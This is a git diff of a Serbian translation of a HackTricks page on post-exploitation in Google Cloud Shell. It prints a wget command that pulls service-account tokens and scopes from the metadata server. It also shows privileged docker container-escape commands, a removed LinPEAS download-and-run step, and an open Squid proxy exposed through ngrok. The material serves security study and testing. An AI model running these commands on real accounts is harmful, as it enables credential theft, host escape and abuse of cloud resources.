mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
@@ -10,40 +10,40 @@ Za više informacija o Cloud Shell pogledajte:
|
|||||||
../gcp-services/gcp-cloud-shell-enum.md
|
../gcp-services/gcp-cloud-shell-enum.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Container Escape
|
### Dobijanje korisničkog tokena iz metapodataka
|
||||||
|
|
||||||
Imajte na umu da Google Cloud Shell radi unutar kontejnera — možete **easily escape to the host** tako što ćete uraditi:
|
Samo pristupanjem serveru metapodataka možete dobiti token koji omogućava pristup kao trenutno prijavljeni korisnik:
|
||||||
|
```bash
|
||||||
|
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||||
|
```
|
||||||
|
### Container Escape / Docker use
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> Prethodno je cloud shell radio u kontejneru sa pristupom docker socket-u hosta. Sada je Google promenio arhitekturu i cloud shell kontejner radi u "Docker in a container" podešavanju. Dakle, čak i ako je moguće koristiti docker iz cloud shell-a, nećete moći da pobegnete na host koristeći docker socket.
|
||||||
|
> Imajte na umu da je prethodno fajl `docker.sock` bio lociran u `/google/host/var/run/docker.sock`, ali je sada premešten u `/run/docker.sock`.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Container escape commands</summary>
|
<summary>Docker use / Old container escape commands</summary>
|
||||||
```bash
|
```bash
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
sudo docker -H unix:///run/docker.sock start escaper
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Ovo google ne smatra ranjivošću, ali ti daje širi uvid u to šta se dešava u tom okruženju.
|
Štaviše, ranije je bilo moguće pronaći token za servisni nalog koji koristi cloud shell VM u metadata serveru:
|
||||||
|
|
||||||
Štaviše, obrati pažnju da sa hosta možeš pronaći token servisnog naloga:
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Get service account from metadata</summary>
|
<summary>Stari servisni nalog iz metadata servera</summary>
|
||||||
```bash
|
```bash
|
||||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||||
default/
|
default/
|
||||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||||
```
|
```
|
||||||
</details>
|
|
||||||
|
|
||||||
Sa sledećim opsegima:
|
Sa sledećim opsegima:
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>Dobijte opsege servisnog naloga</summary>
|
|
||||||
```bash
|
```bash
|
||||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||||
|
|
||||||
@@ -53,37 +53,23 @@ https://www.googleapis.com/auth/monitoring.write
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Enumeriši metapodatke pomoću LinPEAS:
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>Enumeriši metapodatke pomoću LinPEAS</summary>
|
|
||||||
```bash
|
|
||||||
cd /tmp
|
|
||||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
|
||||||
sh linpeas.sh -o cloud
|
|
||||||
```
|
|
||||||
</details>
|
|
||||||
|
|
||||||
Nakon korišćenja [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) sa tokenom Service Account-a **nije otkrivena nijedna dozvola**...
|
|
||||||
|
|
||||||
### Koristite ga kao proxy
|
### Koristite ga kao proxy
|
||||||
|
|
||||||
Ako želite da koristite svoju google cloud shell instancu kao proxy, potrebno je da pokrenete sledeće komande (ili ih ubacite u .bashrc fajl):
|
Ako želite da koristite vašu google cloud shell instancu kao proxy, morate da pokrenete sledeće komande (ili ih ubacite u .bashrc fajl):
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Instalirajte Squid proxy</summary>
|
<summary>Instaliraj Squid proxy</summary>
|
||||||
```bash
|
```bash
|
||||||
sudo apt install -y squid
|
sudo apt install -y squid
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Samo da znaš, Squid je HTTP proxy server. Kreiraj **squid.conf** fajl sa sledećim podešavanjima:
|
Samo da znaš, Squid je HTTP proxy server. Napravi fajl **squid.conf** sa sledećim podešavanjima:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Kreiraj squid.conf fajl</summary>
|
<summary>Create squid.conf file</summary>
|
||||||
```bash
|
```bash
|
||||||
http_port 3128
|
http_port 3128
|
||||||
cache_dir /var/cache/squid 100 16 256
|
cache_dir /var/cache/squid 100 16 256
|
||||||
@@ -92,11 +78,11 @@ http_access allow all
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
kopirajte **squid.conf** datoteku u **/etc/squid**
|
kopiraj fajl **squid.conf** u **/etc/squid**
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Kopirajte konfiguraciju u /etc/squid</summary>
|
<summary>Kopiraj konfiguraciju u **/etc/squid**</summary>
|
||||||
```bash
|
```bash
|
||||||
sudo cp squid.conf /etc/squid
|
sudo cp squid.conf /etc/squid
|
||||||
```
|
```
|
||||||
@@ -112,19 +98,19 @@ sudo service squid start
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Koristite ngrok da bi proxy bio dostupan izvana:
|
Koristite ngrok da bi proxy bio dostupan izvan mreže:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Izložite proxy koristeći ngrok</summary>
|
<summary>Izložite proxy pomoću ngrok</summary>
|
||||||
```bash
|
```bash
|
||||||
./ngrok tcp 3128
|
./ngrok tcp 3128
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Nakon pokretanja kopirajte tcp:// url. Ako želite da pokrenete proxy iz browser-a, preporučuje se da uklonite tcp:// deo i port i stavite port u polje za port u browser proxy podešavanjima (squid je a http proxy server).
|
Nakon pokretanja kopirajte tcp:// URL. Ako želite da pokrenete proxy iz pregledača, preporučuje se da uklonite tcp:// deo i port, i upišete port u polje za port u podešavanjima proxy-ja vašeg pregledača (squid je http proxy server).
|
||||||
|
|
||||||
Za lakše korišćenje pri startovanju .bashrc fajl treba da sadrži sledeće linije:
|
Za bolje korišćenje pri pokretanju, fajl .bashrc treba da sadrži sledeće linije:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@@ -137,6 +123,6 @@ cd ngrok;./ngrok tcp 3128
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Uputstva su kopirana sa [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Pogledajte tu stranicu za druge lude ideje kako da pokrenete bilo koji softver (baze podataka pa čak i Windows) u Cloud Shell.
|
Instrukcije su kopirane sa [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Proverite tu stranicu za druge lude ideje kako pokrenuti bilo koji softver (baze podataka pa čak i Windows) u Cloud Shell.
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Reference in New Issue
Block a user